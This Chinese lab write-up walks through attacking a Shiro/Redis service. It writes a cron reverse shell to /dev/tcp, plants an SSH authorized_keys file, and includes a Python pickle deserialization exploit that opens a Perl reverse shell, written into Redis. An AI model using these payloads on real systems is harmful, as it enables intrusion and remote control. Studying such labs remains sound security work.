网络安全-shire写任务计划、反弹shell、写私钥、反序列化

ops/2024/9/23 2:01:05/

目录

一、环境

二、 介绍

三、开始做题

 四、写公钥


一、环境

网上自己找

二、 介绍

我们经过前面文章很清楚知道,shiro是将数据存储在内存当中,内存落盘实现一个数据存储,而当其结合python,python将登录的session存储到shiro里面就会造成一个反序列化漏洞

看看环境

登录信息存到session

序列化一个引擎

 序列化存入

那我们就需要反序列化的方式取出

pass:python序列化的两个方法pickle.dumps、pickle.loads 

三、开始做题

很明显的ssrf题目

接下来就是猜目录,但是这个靶场给了我们利用工具

 其实跟我们之前用的工具差不多一样,我们还是一样解码看它干了什么

一模一样正常的反弹shell操作如fiushall等等

攻击机接shell

 反馈是okokok我们等一分钟看看情况

很明显反弹回来了

 所以我们进入docker环境下看看它的任务计划有没有写成功

但是ubentu和centos的反弹不一样

ubentu是写在这个任务计划目录下的,ubentu的反弹并不稳定,因为其中涉及权限不能是644,得是600,第二个邮件服务器,第三个坑点/bin/sh指向dash,而我们反弹shell是bash

总结一下:

补充另一种方法:

*/1 * * * *  bash -c "bash -i  >&/dev/tcp/123.207.x.x/1234 0>&1"

不用修改链接指向,直接在sh下执行bash -c。

 四、写公钥

脚本上是写到/root/.ssh这个目录下authorized_keys这个文件里面

我这里生成一对公钥和私钥

 还是一样用centos去测试,写公钥看一下

 很明显它是写入了

我们直接可以免密登录了 

五、反序列化

我们正常登录可以看到session值

看shiro里面的存储

 我们将其复原一下,很明显是python反序列化的形式

看看主页源码,一开始加载的是login,然后提交给index,之后走到login.html下

 那我们要做的就是写一个恶意的session值写入redies里面去,然后它读出来的时候反序列化,那我们首要任务是先写

我们不能用原有的session,因为创建完后会覆盖回去,我们就改一下尾数

它生成的这个相当于是换行请求 

 但是我在实验的时候发现官方好像把这个换行符给修复了,因为靶场是两年前国外的,所以也算正常

看一下源码吧,它很明确的写出httplib是因为有一个换行符的漏洞所以会造成泄露

 没事,我自己写了一个反序列化的代码,我们看能否写入即可,验证为止

#!/usr/bin/env pythonimport cPickle
import os
import redis
import base64class exp(object):def __reduce__(self):s = """perl -e 'use Socket;$i="192.168.139.138";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'"""return (os.system, (s,))e = exp()
s = base64.b64encode(cPickle.dumps(e))r = redis.Redis(host='192.168.139.138', port=6379, db=0)
r.set("session:", s)


http://www.ppmy.cn/ops/114528.html

相关文章

【解决】chrome 谷歌浏览器,鼠标点击任何区域都是 Input 输入框的状态,能看到输入的光标

chrome 谷歌浏览器,鼠标点击任何区域都是 Input 输入框的状态,能看到输入的光标 今天打开电脑的时候,网页中任何文本的地方,只要鼠标点击,就会出现一个输入的光标,无论在哪个站点哪个页面都是如此。 我知道…

二百六十五、Hive——目前Hive数仓各层表样例

一、目的 梳理一下目前Hive数仓各层表 注意:只建立一个数据库hurys_db 二、ODS层 2.1 建表语句 create external table if not exists hurys_db.ods_queue(device_no string comment 设备编号,source_device_type string comme…

docker 镜像,导入导出,

dockers镜像传输:docker save和docker load命令的使用_docker save -o-CSDN博客 docker save 命令 docker load 命令 快速复制容器-CSDN博客 创建docker容器报错:Error response from daemon: No command specified-CSDN博客 Docker 镜像移动或复制到另一台服务器_d…

网络编程问题解答

TCP/IP是哪种模型的协议 TCP/IP 是一组通信协议的集合,它基于 TCP/IP 模型。TCP/IP 模型通常被认为是一种实用的网络通信模型,与 OSI 模型相比,TCP/IP 模型更加简洁和侧重于实际应用,被广泛应用于互联网和大多数计算机网络中。 T…

论文阅读--Planning-oriented Autonomous Driving(二)

自动驾驶框架的各种设计比较。 ( a )大多数工业解决方案针对不同的任务部署不同的模型。 ( b )多任务学习方案共享一个具有分割任务头的主干。 ( c )端到端范式将感知和预测模块统一起来。以往的尝试要么采用( c.1 )中对规划的直接优化,要么采用( c.2 )中的部分元…

LangChain教程 - 支持的向量数据库列举

系列文章索引 LangChain教程 - 系列文章 向量数据库是现代自然语言处理应用中不可或缺的组件,它们可以高效地存储、索引和检索嵌入向量,支持大规模的相似性搜索任务。LangChain 是一个强大的框架,允许开发者轻松将大型语言模型与向量数据库结…

单组件的编写

项目搭好了,第一个需要了解的是 Vue 组件的变化,由于这部分篇幅会非常大,所以会分成很多个小节,一部分一部分按照开发顺序来逐步了解。 因为 Vue 3 对 TypeScript 的支持真的是太完善了,并且 TypeScript 的发展趋势和…

科技引领未来生活——“光影漫游者”展览馆应用—轻空间

随着科技的快速发展,展览馆作为展示文化、科技和艺术的场所,正逐渐从传统的静态展示向高科技互动体验转变。由轻空间打造的“光影漫游者”展览馆,凭借其前沿的气承式结构和智能化系统,将参观者带入了一个未来感十足、充满科技魅力…